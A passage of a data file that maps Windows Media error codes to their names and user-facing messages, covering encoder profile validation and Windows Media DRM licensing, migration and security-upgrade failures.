0xC00D1BAA: ("NS_E_BAD_CONTENTEDL", "The voice codec optimization definition file cannot be found or is corrupted."),
0xC00D1BAB: ("NS_E_INTERLACEMODE_MISMATCH", "The same source index in different audiences should have the same interlace mode."),
0xC00D1BAC: ("NS_E_NONSQUAREPIXELMODE_MISMATCH", "The same source index in different audiences should have the same nonsquare pixel mode."),
0xC00D1BAD: ("NS_E_SMPTEMODE_MISMATCH", "The same source index in different audiences should have the same time code mode."),
0xC00D1BAE: ("NS_E_END_OF_TAPE", "Either the end of the tape has been reached or there is no tape. Check the device and tape."),
0xC00D1BAF: ("NS_E_NO_MEDIA_IN_AUDIENCE", "No audio or video input has been specified."),
0xC00D1BB0: ("NS_E_NO_AUDIENCES", "The profile must contain a bit rate."),
0xC00D1BB1: ("NS_E_NO_AUDIO_COMPAT", "You must specify at least one audio stream to be compatible with Windows Media Player 7.1."),
0xC00D1BB2: ("NS_E_INVALID_VBR_COMPAT", "Using a VBR encoding mode is not compatible with Windows Media Player 7.1."),
0xC00D1BB3: ("NS_E_NO_PROFILE_NAME", "You must specify a profile name."),
0xC00D1BB4: ("NS_E_INVALID_VBR_WITH_UNCOMP", "It is not possible to use a VBR encoding mode with uncompressed audio or video."),
0xC00D1BB5: ("NS_E_MULTIPLE_VBR_AUDIENCES", "It is not possible to use MBR encoding with VBR encoding."),
0xC00D1BB6: ("NS_E_UNCOMP_COMP_COMBINATION", "It is not possible to mix uncompressed and compressed content in a session."),
0xC00D1BB7: ("NS_E_MULTIPLE_AUDIO_CODECS", "All audiences must use the same audio codec."),
0xC00D1BB8: ("NS_E_MULTIPLE_AUDIO_FORMATS", "All audiences should use the same audio format to be compatible with Windows Media Player 7.1."),
0xC00D1BB9: ("NS_E_AUDIO_BITRATE_STEPDOWN", "The audio bit rate for an audience with a higher total bit rate must be greater than one with a lower total bit rate."),
0xC00D1BBA: ("NS_E_INVALID_AUDIO_PEAKRATE", "The audio peak bit rate setting is not valid."),
0xC00D1BBB: ("NS_E_INVALID_AUDIO_PEAKRATE_2", "The audio peak bit rate setting must be greater than the audio bit rate setting."),
0xC00D1BBC: ("NS_E_INVALID_AUDIO_BUFFERMAX", "The setting for the maximum buffer size for audio is not valid."),
0xC00D1BBD: ("NS_E_MULTIPLE_VIDEO_CODECS", "All audiences must use the same video codec."),
0xC00D1BBE: ("NS_E_MULTIPLE_VIDEO_SIZES", "All audiences should use the same video size to be compatible with Windows Media Player 7.1."),
0xC00D1BBF: ("NS_E_INVALID_VIDEO_BITRATE", "The video bit rate setting is not valid."),
0xC00D1BC0: ("NS_E_VIDEO_BITRATE_STEPDOWN", "The video bit rate for an audience with a higher total bit rate must be greater than one with a lower total bit rate."),
0xC00D1BC1: ("NS_E_INVALID_VIDEO_PEAKRATE", "The video peak bit rate setting is not valid."),
0xC00D1BC2: ("NS_E_INVALID_VIDEO_PEAKRATE_2", "The video peak bit rate setting must be greater than the video bit rate setting."),
0xC00D1BC3: ("NS_E_INVALID_VIDEO_WIDTH", "The video width setting is not valid."),
0xC00D1BC4: ("NS_E_INVALID_VIDEO_HEIGHT", "The video height setting is not valid."),
0xC00D1BC5: ("NS_E_INVALID_VIDEO_FPS", "The video frame rate setting is not valid."),
0xC00D1BC6: ("NS_E_INVALID_VIDEO_KEYFRAME", "The video key frame setting is not valid."),
0xC00D1BC7: ("NS_E_INVALID_VIDEO_IQUALITY", "The video image quality setting is not valid."),
0xC00D1BC8: ("NS_E_INVALID_VIDEO_CQUALITY", "The video codec quality setting is not valid."),
0xC00D1BC9: ("NS_E_INVALID_VIDEO_BUFFER", "The video buffer setting is not valid."),
0xC00D1BCA: ("NS_E_INVALID_VIDEO_BUFFERMAX", "The setting for the maximum buffer size for video is not valid."),
0xC00D1BCB: ("NS_E_INVALID_VIDEO_BUFFERMAX_2", "The value of the video maximum buffer size setting must be greater than the video buffer size setting."),
0xC00D1BCC: ("NS_E_INVALID_VIDEO_WIDTH_ALIGN", "The alignment of the video width is not valid."),
0xC00D1BCD: ("NS_E_INVALID_VIDEO_HEIGHT_ALIGN", "The alignment of the video height is not valid."),
0xC00D1BCE: ("NS_E_MULTIPLE_SCRIPT_BITRATES", "All bit rates must have the same script bit rate."),
0xC00D1BCF: ("NS_E_INVALID_SCRIPT_BITRATE", "The script bit rate specified is not valid."),
0xC00D1BD0: ("NS_E_MULTIPLE_FILE_BITRATES", "All bit rates must have the same file transfer bit rate."),
0xC00D1BD1: ("NS_E_INVALID_FILE_BITRATE", "The file transfer bit rate is not valid."),
0xC00D1BD2: ("NS_E_SAME_AS_INPUT_COMBINATION", "All audiences in a profile should either be same as input or have video width and height specified."),
0xC00D1BD3: ("NS_E_SOURCE_CANNOT_LOOP", "This source type does not support looping."),
0xC00D1BD4: ("NS_E_INVALID_FOLDDOWN_COEFFICIENTS", "The fold-down value needs to be between -144 and 0."),
0xC00D1BD5: ("NS_E_DRMPROFILE_NOTFOUND", "The specified DRM profile does not exist in the system."),
0xC00D1BD6: ("NS_E_INVALID_TIMECODE", "The specified time code is not valid."),
0xC00D1BD7: ("NS_E_NO_AUDIO_TIMECOMPRESSION", "It is not possible to apply time compression to a video-only session."),
0xC00D1BD8: ("NS_E_NO_TWOPASS_TIMECOMPRESSION", "It is not possible to apply time compression to a session that is using two-pass encoding."),
0xC00D1BD9: ("NS_E_TIMECODE_REQUIRES_VIDEOSTREAM", "It is not possible to generate a time code for an audio-only session."),
0xC00D1BDA: ("NS_E_NO_MBR_WITH_TIMECODE", "It is not possible to generate a time code when you are encoding content at multiple bit rates."),
0xC00D1BDB: ("NS_E_INVALID_INTERLACEMODE", "The video codec selected does not support maintaining interlacing in video."),
0xC00D1BDC: ("NS_E_INVALID_INTERLACE_COMPAT", "Maintaining interlacing in video is not compatible with Windows Media Player 7.1."),
0xC00D1BDD: ("NS_E_INVALID_NONSQUAREPIXEL_COMPAT", "Allowing nonsquare pixel output is not compatible with Windows Media Player 7.1."),
0xC00D1BDE: ("NS_E_INVALID_SOURCE_WITH_DEVICE_CONTROL", "Only capture devices can be used with device control."),
0xC00D1BDF: ("NS_E_CANNOT_GENERATE_BROADCAST_INFO_FOR_QUALITYVBR", "It is not possible to generate the stream format file if you are using quality-based VBR encoding for the audio or video stream. Instead use the Windows Media file generated after encoding to create the announcement file."),
0xC00D1BE0: ("NS_E_EXCEED_MAX_DRM_PROFILE_LIMIT", "It is not possible to create a DRM profile because the maximum number of profiles has been reached. You must delete some DRM profiles before creating new ones."),
0xC00D1BE1: ("NS_E_DEVICECONTROL_UNSTABLE", "The device is in an unstable state. Check that the device is functioning properly and a tape is in place."),
0xC00D1BE2: ("NS_E_INVALID_PIXEL_ASPECT_RATIO", "The pixel aspect ratio value must be between 1 and 255."),
0xC00D1BE3: ("NS_E_AUDIENCE__LANGUAGE_CONTENTTYPE_MISMATCH", "All streams with different languages in the same audience must have same properties."),
0xC00D1BE4: ("NS_E_INVALID_PROFILE_CONTENTTYPE", "The profile must contain at least one audio or video stream."),
0xC00D1BE5: ("NS_E_TRANSFORM_PLUGIN_NOT_FOUND", "The transform plug-in could not be found."),
0xC00D1BE6: ("NS_E_TRANSFORM_PLUGIN_INVALID", "The transform plug-in is not valid. It may be damaged or you may not have the required permissions to access the plug-in."),
0xC00D1BE7: ("NS_E_EDL_REQUIRED_FOR_DEVICE_MULTIPASS", "To use two-pass encoding, you must enable device control and setup an edit decision list (EDL) that has at least one entry."),
0xC00D1BE8: ("NS_E_INVALID_VIDEO_WIDTH_FOR_INTERLACED_ENCODING", "When you choose to maintain the interlacing in your video, the output video size must be a multiple of 4."),
0xC00D1BE9: ("NS_E_MARKIN_UNSUPPORTED", "Markin/Markout is unsupported with this source type."),
0xC00D2711: ("NS_E_DRM_INVALID_APPLICATION", "A problem has occurred in the Digital Rights Management component. Contact product support for this application."),
0xC00D2712: ("NS_E_DRM_LICENSE_STORE_ERROR", "License storage is not working. Contact Microsoft product support."),
0xC00D2713: ("NS_E_DRM_SECURE_STORE_ERROR", "Secure storage is not working. Contact Microsoft product support."),
0xC00D2714: ("NS_E_DRM_LICENSE_STORE_SAVE_ERROR", "License acquisition did not work. Acquire a new license or contact the content provider for further assistance."),
0xC00D2715: ("NS_E_DRM_SECURE_STORE_UNLOCK_ERROR", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D2716: ("NS_E_DRM_INVALID_CONTENT", "The media file is corrupted. Contact the content provider to get a new file."),
0xC00D2717: ("NS_E_DRM_UNABLE_TO_OPEN_LICENSE", "The license is corrupted. Acquire a new license."),
0xC00D2718: ("NS_E_DRM_INVALID_LICENSE", "The license is corrupted or invalid. Acquire a new license"),
0xC00D2719: ("NS_E_DRM_INVALID_MACHINE", "Licenses cannot be copied from one computer to another. Use License Management to transfer licenses, or get a new license for the media file."),
0xC00D271B: ("NS_E_DRM_ENUM_LICENSE_FAILED", "License storage is not working. Contact Microsoft product support."),
0xC00D271C: ("NS_E_DRM_INVALID_LICENSE_REQUEST", "The media file is corrupted. Contact the content provider to get a new file."),
0xC00D271D: ("NS_E_DRM_UNABLE_TO_INITIALIZE", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D271E: ("NS_E_DRM_UNABLE_TO_ACQUIRE_LICENSE", "The license could not be acquired. Try again later."),
0xC00D271F: ("NS_E_DRM_INVALID_LICENSE_ACQUIRED", "License acquisition did not work. Acquire a new license or contact the content provider for further assistance."),
0xC00D2720: ("NS_E_DRM_NO_RIGHTS", "The requested operation cannot be performed on this file."),
0xC00D2721: ("NS_E_DRM_KEY_ERROR", "The requested action cannot be performed because a problem occurred with the Windows Media Digital Rights Management (DRM) components on your computer."),
0xC00D2722: ("NS_E_DRM_ENCRYPT_ERROR", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D2723: ("NS_E_DRM_DECRYPT_ERROR", "The media file is corrupted. Contact the content provider to get a new file."),
0xC00D2725: ("NS_E_DRM_LICENSE_INVALID_XML", "The license is corrupted. Acquire a new license."),
0xC00D2728: ("NS_E_DRM_NEEDS_INDIVIDUALIZATION", "A security upgrade is required to perform the operation on this media file."),
0xC00D2729: ("NS_E_DRM_ALREADY_INDIVIDUALIZED", "You already have the latest security components. No upgrade is necessary at this time."),
0xC00D272A: ("NS_E_DRM_ACTION_NOT_QUERIED", "The application cannot perform this action. Contact product support for this application."),
0xC00D272B: ("NS_E_DRM_ACQUIRING_LICENSE", "You cannot begin a new license acquisition process until the current one has been completed."),
0xC00D272C: ("NS_E_DRM_INDIVIDUALIZING", "You cannot begin a new security upgrade until the current one has been completed."),
0xC00D272D: ("NS_E_BACKUP_RESTORE_FAILURE", "Failure in Backup-Restore."),
0xC00D272E: ("NS_E_BACKUP_RESTORE_BAD_REQUEST_ID", "Bad Request ID in Backup-Restore."),
0xC00D272F: ("NS_E_DRM_PARAMETERS_MISMATCHED", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D2730: ("NS_E_DRM_UNABLE_TO_CREATE_LICENSE_OBJECT", "A license cannot be created for this media file. Reinstall the application."),
0xC00D2731: ("NS_E_DRM_UNABLE_TO_CREATE_INDI_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D2732: ("NS_E_DRM_UNABLE_TO_CREATE_ENCRYPT_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D2733: ("NS_E_DRM_UNABLE_TO_CREATE_DECRYPT_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D2734: ("NS_E_DRM_UNABLE_TO_CREATE_PROPERTIES_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D2735: ("NS_E_DRM_UNABLE_TO_CREATE_BACKUP_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D2736: ("NS_E_DRM_INDIVIDUALIZE_ERROR", "The security upgrade failed. Try again later."),
0xC00D2737: ("NS_E_DRM_LICENSE_OPEN_ERROR", "License storage is not working. Contact Microsoft product support."),
0xC00D2738: ("NS_E_DRM_LICENSE_CLOSE_ERROR", "License storage is not working. Contact Microsoft product support."),
0xC00D2739: ("NS_E_DRM_GET_LICENSE_ERROR", "License storage is not working. Contact Microsoft product support."),
0xC00D273A: ("NS_E_DRM_QUERY_ERROR", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D273B: ("NS_E_DRM_REPORT_ERROR", "A problem has occurred in the Digital Rights Management component. Contact product support for this application."),
0xC00D273C: ("NS_E_DRM_GET_LICENSESTRING_ERROR", "License storage is not working. Contact Microsoft product support."),
0xC00D273D: ("NS_E_DRM_GET_CONTENTSTRING_ERROR", "The media file is corrupted. Contact the content provider to get a new file."),
0xC00D273E: ("NS_E_DRM_MONITOR_ERROR", "A problem has occurred in the Digital Rights Management component. Try again later."),
0xC00D273F: ("NS_E_DRM_UNABLE_TO_SET_PARAMETER", "The application has made an invalid call to the Digital Rights Management component. Contact product support for this application."),
0xC00D2740: ("NS_E_DRM_INVALID_APPDATA", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D2741: ("NS_E_DRM_INVALID_APPDATA_VERSION", "A problem has occurred in the Digital Rights Management component. Contact product support for this application."),
0xC00D2742: ("NS_E_DRM_BACKUP_EXISTS", "Licenses are already backed up in this location."),
0xC00D2743: ("NS_E_DRM_BACKUP_CORRUPT", "One or more backed-up licenses are missing or corrupt."),
0xC00D2744: ("NS_E_DRM_BACKUPRESTORE_BUSY", "You cannot begin a new backup process until the current process has been completed."),
0xC00D2745: ("NS_E_BACKUP_RESTORE_BAD_DATA", "Bad Data sent to Backup-Restore."),
0xC00D2748: ("NS_E_DRM_LICENSE_UNUSABLE", "The license is invalid. Contact the content provider for further assistance."),
0xC00D2749: ("NS_E_DRM_INVALID_PROPERTY", "A required property was not set by the application. Contact product support for this application."),
0xC00D274A: ("NS_E_DRM_SECURE_STORE_NOT_FOUND", "A problem has occurred in the Digital Rights Management component of this application. Try to acquire a license again."),
0xC00D274B: ("NS_E_DRM_CACHED_CONTENT_ERROR", "A license cannot be found for this media file. Use License Management to transfer a license for this file from the original computer, or acquire a new license."),
0xC00D274C: ("NS_E_DRM_INDIVIDUALIZATION_INCOMPLETE", "A problem occurred during the security upgrade. Try again later."),
0xC00D274D: ("NS_E_DRM_DRIVER_AUTH_FAILURE", "Certified driver components are required to play this media file. Contact Windows Update to see whether updated drivers are available for your hardware."),
0xC00D274E: ("NS_E_DRM_NEED_UPGRADE_MSSAP", "One or more of the Secure Audio Path components were not found or an entry point in those components was not found."),
0xC00D274F: ("NS_E_DRM_REOPEN_CONTENT", "Status message: Reopen the file."),
0xC00D2750: ("NS_E_DRM_DRIVER_DIGIOUT_FAILURE", "Certain driver functionality is required to play this media file. Contact Windows Update to see whether updated drivers are available for your hardware."),
0xC00D2751: ("NS_E_DRM_INVALID_SECURESTORE_PASSWORD", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D2752: ("NS_E_DRM_APPCERT_REVOKED", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D2753: ("NS_E_DRM_RESTORE_FRAUD", "You cannot restore your license(s)."),
0xC00D2754: ("NS_E_DRM_HARDWARE_INCONSISTENT", "The licenses for your media files are corrupted. Contact Microsoft product support."),
0xC00D2755: ("NS_E_DRM_SDMI_TRIGGER", "To transfer this media file, you must upgrade the application."),
0xC00D2756: ("NS_E_DRM_SDMI_NOMORECOPIES", "You cannot make any more copies of this media file."),
0xC00D2757: ("NS_E_DRM_UNABLE_TO_CREATE_HEADER_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D2758: ("NS_E_DRM_UNABLE_TO_CREATE_KEYS_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D2759: ("NS_E_DRM_LICENSE_NOTACQUIRED", "Unable to obtain license."),
0xC00D275A: ("NS_E_DRM_UNABLE_TO_CREATE_CODING_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D275B: ("NS_E_DRM_UNABLE_TO_CREATE_STATE_DATA_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D275C: ("NS_E_DRM_BUFFER_TOO_SMALL", "The buffer supplied is not sufficient."),
0xC00D275D: ("NS_E_DRM_UNSUPPORTED_PROPERTY", "The property requested is not supported."),
0xC00D275E: ("NS_E_DRM_ERROR_BAD_NET_RESP", "The specified server cannot perform the requested operation."),
0xC00D275F: ("NS_E_DRM_STORE_NOTALLSTORED", "Some of the licenses could not be stored."),
0xC00D2760: ("NS_E_DRM_SECURITY_COMPONENT_SIGNATURE_INVALID", "The Digital Rights Management security upgrade component could not be validated. Contact Microsoft product support."),
0xC00D2761: ("NS_E_DRM_INVALID_DATA", "Invalid or corrupt data was encountered."),
0xC00D2762: ("NS_E_DRM_POLICY_DISABLE_ONLINE", "The Windows Media Digital Rights Management system cannot perform the requested action because your computer or network administrator has enabled the group policy Prevent Windows Media DRM Internet Access. For assistance, contact your administrator."),
0xC00D2763: ("NS_E_DRM_UNABLE_TO_CREATE_AUTHENTICATION_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D2764: ("NS_E_DRM_NOT_CONFIGURED", "Not all of the necessary properties for DRM have been set."),
0xC00D2765: ("NS_E_DRM_DEVICE_ACTIVATION_CANCELED", "The portable device does not have the security required to copy protected files to it. To obtain the additional security, try to copy the file to your portable device again. When a message appears, click OK."),
0xC00D2766: ("NS_E_BACKUP_RESTORE_TOO_MANY_RESETS", "Too many resets in Backup-Restore."),
0xC00D2767: ("NS_E_DRM_DEBUGGING_NOT_ALLOWED", "Running this process under a debugger while using DRM content is not allowed."),
0xC00D2768: ("NS_E_DRM_OPERATION_CANCELED", "The user canceled the DRM operation."),
0xC00D2769: ("NS_E_DRM_RESTRICTIONS_NOT_RETRIEVED", "The license you are using has assocaited output restrictions. This license is unusable until these restrictions are queried."),
0xC00D276A: ("NS_E_DRM_UNABLE_TO_CREATE_PLAYLIST_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D276B: ("NS_E_DRM_UNABLE_TO_CREATE_PLAYLIST_BURN_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D276C: ("NS_E_DRM_UNABLE_TO_CREATE_DEVICE_REGISTRATION_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D276D: ("NS_E_DRM_UNABLE_TO_CREATE_METERING_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D2770: ("NS_E_DRM_TRACK_EXCEEDED_PLAYLIST_RESTICTION", "The specified track has exceeded it's specified playlist burn limit in this playlist."),
0xC00D2771: ("NS_E_DRM_TRACK_EXCEEDED_TRACKBURN_RESTRICTION", "The specified track has exceeded it's track burn limit."),
0xC00D2772: ("NS_E_DRM_UNABLE_TO_GET_DEVICE_CERT", "A problem has occurred in obtaining the device's certificate. Contact Microsoft product support."),
0xC00D2773: ("NS_E_DRM_UNABLE_TO_GET_SECURE_CLOCK", "A problem has occurred in obtaining the device's secure clock. Contact Microsoft product support."),
0xC00D2774: ("NS_E_DRM_UNABLE_TO_SET_SECURE_CLOCK", "A problem has occurred in setting the device's secure clock. Contact Microsoft product support."),
0xC00D2775: ("NS_E_DRM_UNABLE_TO_GET_SECURE_CLOCK_FROM_SERVER", "A problem has occurred in obtaining the secure clock from server. Contact Microsoft product support."),
0xC00D2776: ("NS_E_DRM_POLICY_METERING_DISABLED", "This content requires the metering policy to be enabled."),
0xC00D2777: ("NS_E_DRM_TRANSFER_CHAINED_LICENSES_UNSUPPORTED", "Transfer of chained licenses unsupported."),
0xC00D2778: ("NS_E_DRM_SDK_VERSIONMISMATCH", "The Digital Rights Management component is not installed properly. Reinstall the Player."),
0xC00D2779: ("NS_E_DRM_LIC_NEEDS_DEVICE_CLOCK_SET", "The file could not be transferred because the device clock is not set."),
0xC00D277A: ("NS_E_LICENSE_HEADER_MISSING_URL", "The content header is missing an acquisition URL."),
0xC00D277B: ("NS_E_DEVICE_NOT_WMDRM_DEVICE", "The current attached device does not support WMDRM."),
0xC00D277C: ("NS_E_DRM_INVALID_APPCERT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D277D: ("NS_E_DRM_PROTOCOL_FORCEFUL_TERMINATION_ON_PETITION", "The client application has been forcefully terminated during a DRM petition."),
0xC00D277E: ("NS_E_DRM_PROTOCOL_FORCEFUL_TERMINATION_ON_CHALLENGE", "The client application has been forcefully terminated during a DRM challenge."),
0xC00D277F: ("NS_E_DRM_CHECKPOINT_FAILED", "Secure storage protection error. Restore your licenses from a previous backup and try again."),
0xC00D2780: ("NS_E_DRM_BB_UNABLE_TO_INITIALIZE", "A problem has occurred in the Digital Rights Management root of trust. Contact Microsoft product support."),
0xC00D2781: ("NS_E_DRM_UNABLE_TO_LOAD_HARDWARE_ID", "A problem has occurred in retrieving the Digital Rights Management machine identification. Contact Microsoft product support."),
0xC00D2782: ("NS_E_DRM_UNABLE_TO_OPEN_DATA_STORE", "A problem has occurred in opening the Digital Rights Management data storage file. Contact Microsoft product."),
0xC00D2783: ("NS_E_DRM_DATASTORE_CORRUPT", "The Digital Rights Management data storage is not functioning properly. Contact Microsoft product support."),
0xC00D2784: ("NS_E_DRM_UNABLE_TO_CREATE_INMEMORYSTORE_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D2785: ("NS_E_DRM_STUBLIB_REQUIRED", "A secured library is required to access the requested functionality."),
0xC00D2786: ("NS_E_DRM_UNABLE_TO_CREATE_CERTIFICATE_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D2787: ("NS_E_DRM_MIGRATION_TARGET_NOT_ONLINE", "A problem has occurred in the Digital Rights Management component during license migration. Contact Microsoft product support."),
0xC00D2788: ("NS_E_DRM_INVALID_MIGRATION_IMAGE", "A problem has occurred in the Digital Rights Management component during license migration. Contact Microsoft product support."),
0xC00D2789: ("NS_E_DRM_MIGRATION_TARGET_STATES_CORRUPTED", "A problem has occurred in the Digital Rights Management component during license migration. Contact Microsoft product support."),
0xC00D278A: ("NS_E_DRM_MIGRATION_IMPORTER_NOT_AVAILABLE", "A problem has occurred in the Digital Rights Management component during license migration. Contact Microsoft product support."),
0xC00D278B: ("NS_DRM_E_MIGRATION_UPGRADE_WITH_DIFF_SID", "A problem has occurred in the Digital Rights Management component during license migration. Contact Microsoft product support."),
0xC00D278C: ("NS_DRM_E_MIGRATION_SOURCE_MACHINE_IN_USE", "The Digital Rights Management component is in use during license migration. Contact Microsoft product support."),
0xC00D278D: ("NS_DRM_E_MIGRATION_TARGET_MACHINE_LESS_THAN_LH", "Licenses are being migrated to a machine running XP or downlevel OS. This operation can only be performed on Windows Vista or a later OS. Contact Microsoft product support."),
0xC00D278E: ("NS_DRM_E_MIGRATION_IMAGE_ALREADY_EXISTS", "Migration Image already exists. Contact Microsoft product support."),
0xC00D278F: ("NS_E_DRM_HARDWAREID_MISMATCH", "The requested action cannot be performed because a hardware configuration change has been detected by the Windows Media Digital Rights Management (DRM) components on your computer."),
0xC00D2790: ("NS_E_INVALID_DRMV2CLT_STUBLIB", "The wrong stublib has been linked to an application or DLL using drmv2clt.dll."),
0xC00D2791: ("NS_E_DRM_MIGRATION_INVALID_LEGACYV2_DATA", "The legacy V2 data being imported is invalid."),
0xC00D2792: ("NS_E_DRM_MIGRATION_LICENSE_ALREADY_EXISTS", "The license being imported already exists."),
0xC00D2793: ("NS_E_DRM_MIGRATION_INVALID_LEGACYV2_SST_PASSWORD", "The password of the Legacy V2 SST entry being imported is incorrect."),
0xC00D2794: ("NS_E_DRM_MIGRATION_NOT_SUPPORTED", "Migration is not supported by the plugin."),
0xC00D2795: ("NS_E_DRM_UNABLE_TO_CREATE_MIGRATION_IMPORTER_OBJECT", "A migration importer cannot be created for this media file. Reinstall the application."),
0xC00D2796: ("NS_E_DRM_CHECKPOINT_MISMATCH", "The requested action cannot be performed because a problem occurred with the Windows Media Digital Rights Management (DRM) components on your computer."),
0xC00D2797: ("NS_E_DRM_CHECKPOINT_CORRUPT", "The requested action cannot be performed because a problem occurred with the Windows Media Digital Rights Management (DRM) components on your computer."),
0xC00D2798: ("NS_E_REG_FLUSH_FAILURE", "The requested action cannot be performed because a problem occurred with the Windows Media Digital Rights Management (DRM) components on your computer."),
0xC00D2799: ("NS_E_HDS_KEY_MISMATCH", "The requested action cannot be performed because a problem occurred with the Windows Media Digital Rights Management (DRM) components on your computer."),
0xC00D279A: ("NS_E_DRM_MIGRATION_OPERATION_CANCELLED", "Migration was canceled by the user."),
0xC00D279B: ("NS_E_DRM_MIGRATION_OBJECT_IN_USE", "Migration object is already in use and cannot be called until the current operation completes."),
0xC00D279C: ("NS_E_DRM_MALFORMED_CONTENT_HEADER", "The content header does not comply with DRM requirements and cannot be used."),
0xC00D27D8: ("NS_E_DRM_LICENSE_EXPIRED", "The license for this file has expired and is no longer valid. Contact your content provider for further assistance."),
0xC00D27D9: ("NS_E_DRM_LICENSE_NOTENABLED", "The license for this file is not valid yet, but will be at a future date."),
0xC00D27DA: ("NS_E_DRM_LICENSE_APPSECLOW", "The license for this file requires a higher level of security than the player you are currently using has. Try using a different player or download a newer version of your current player."),
0xC00D27DB: ("NS_E_DRM_STORE_NEEDINDI", "The license cannot be stored as it requires security upgrade of Digital Rights Management component."),
0xC00D27DC: ("NS_E_DRM_STORE_NOTALLOWED", "Your machine does not meet the requirements for storing the license."),
0xC00D27DD: ("NS_E_DRM_LICENSE_APP_NOTALLOWED", "The license for this file requires an upgraded version of your player or a different player."),
0xC00D27DF: ("NS_E_DRM_LICENSE_CERT_EXPIRED", "The license server's certificate expired. Make sure your system clock is set correctly. Contact your content provider for further assistance."),
0xC00D27E0: ("NS_E_DRM_LICENSE_SECLOW", "The license for this file requires a higher level of security than the player you are currently using has. Try using a different player or download a newer version of your current player."),
0xC00D27E1: ("NS_E_DRM_LICENSE_CONTENT_REVOKED", "The content owner for the license you just acquired is no longer supporting their content. Contact the content owner for a newer version of the content."),
0xC00D27E2: ("NS_E_DRM_DEVICE_NOT_REGISTERED", "The content owner for the license you just acquired requires your device to register to the current machine."),
0xC00D280A: ("NS_E_DRM_LICENSE_NOSAP", "The license for this file requires a feature that is not supported in your current player or operating system. You can try with newer version of your current player or contact your content provider for further assistance."),
0xC00D280B: ("NS_E_DRM_LICENSE_NOSVP", "The license for this file requires a feature that is not supported in your current player or operating system. You can try with newer version of your current player or contact your content provider for further assistance."),
0xC00D280C: ("NS_E_DRM_LICENSE_NOWDM", "The license for this file requires Windows Driver Model (WDM) audio drivers. Contact your sound card manufacturer for further assistance."),
0xC00D280D: ("NS_E_DRM_LICENSE_NOTRUSTEDCODEC", "The license for this file requires a higher level of security than the player you are currently using has. Try using a different player or download a newer version of your current player."),
0xC00D280E: ("NS_E_DRM_SOURCEID_NOT_SUPPORTED", "The license for this file is not supported by your current player. You can try with newer version of your current player or contact your content provider for further assistance."),
0xC00D283D: ("NS_E_DRM_NEEDS_UPGRADE_TEMPFILE", "An updated version of your media player is required to play the selected content."),
0xC00D283E: ("NS_E_DRM_NEED_UPGRADE_PD", "A new version of the Digital Rights Management component is required. Contact product support for this application to get the latest version."),
0xC00D283F: ("NS_E_DRM_SIGNATURE_FAILURE", "Failed to either create or verify the content header."),
0xC00D2840: ("NS_E_DRM_LICENSE_SERVER_INFO_MISSING", "Could not read the necessary information from the system registry."),
0xC00D2841: ("NS_E_DRM_BUSY", "The DRM subsystem is currently locked by another application or user. Try again later."),
0xC00D2842: ("NS_E_DRM_PD_TOO_MANY_DEVICES", "There are too many target devices registered on the portable media."),
0xC00D2843: ("NS_E_DRM_INDIV_FRAUD", "The security upgrade cannot be completed because the allowed number of daily upgrades has been exceeded. Try again tomorrow."),
0xC00D2844: ("NS_E_DRM_INDIV_NO_CABS", "The security upgrade cannot be completed because the server is unable to perform the operation. Try again later."),
0xC00D2845: ("NS_E_DRM_INDIV_SERVICE_UNAVAILABLE", "The security upgrade cannot be performed because the server is not available. Try again later."),
0xC00D2846: ("NS_E_DRM_RESTORE_SERVICE_UNAVAILABLE", "Windows Media Player cannot restore your licenses because the server is not available. Try again later."),
0xC00D2847: ("NS_E_DRM_CLIENT_CODE_EXPIRED", "Windows Media Player cannot play the protected file. Verify that your computer's date is set correctly. If it is correct, on the Help menu, click Check for Player Updates to install the latest version of the Player."),
0xC00D2848: ("NS_E_DRM_NO_UPLINK_LICENSE", "The chained license cannot be created because the referenced uplink license does not exist."),
0xC00D2849: ("NS_E_DRM_INVALID_KID", "The specified KID is invalid."),
0xC00D284A: ("NS_E_DRM_LICENSE_INITIALIZATION_ERROR", "License initialization did not work. Contact Microsoft product support."),
0xC00D284C: ("NS_E_DRM_CHAIN_TOO_LONG", "The uplink license of a chained license cannot itself be a chained license."),
0xC00D284D: ("NS_E_DRM_UNSUPPORTED_ALGORITHM", "The specified encryption algorithm is unsupported."),
0xC00D284E: ("NS_E_DRM_LICENSE_DELETION_ERROR", "License deletion did not work. Contact Microsoft product support."),
0xC00D28A0: ("NS_E_DRM_INVALID_CERTIFICATE", "The client's certificate is corrupted or the signature cannot be verified."),
0xC00D28A1: ("NS_E_DRM_CERTIFICATE_REVOKED", "The client's certificate has been revoked."),
0xC00D28A2: ("NS_E_DRM_LICENSE_UNAVAILABLE", "There is no license available for the requested action."),
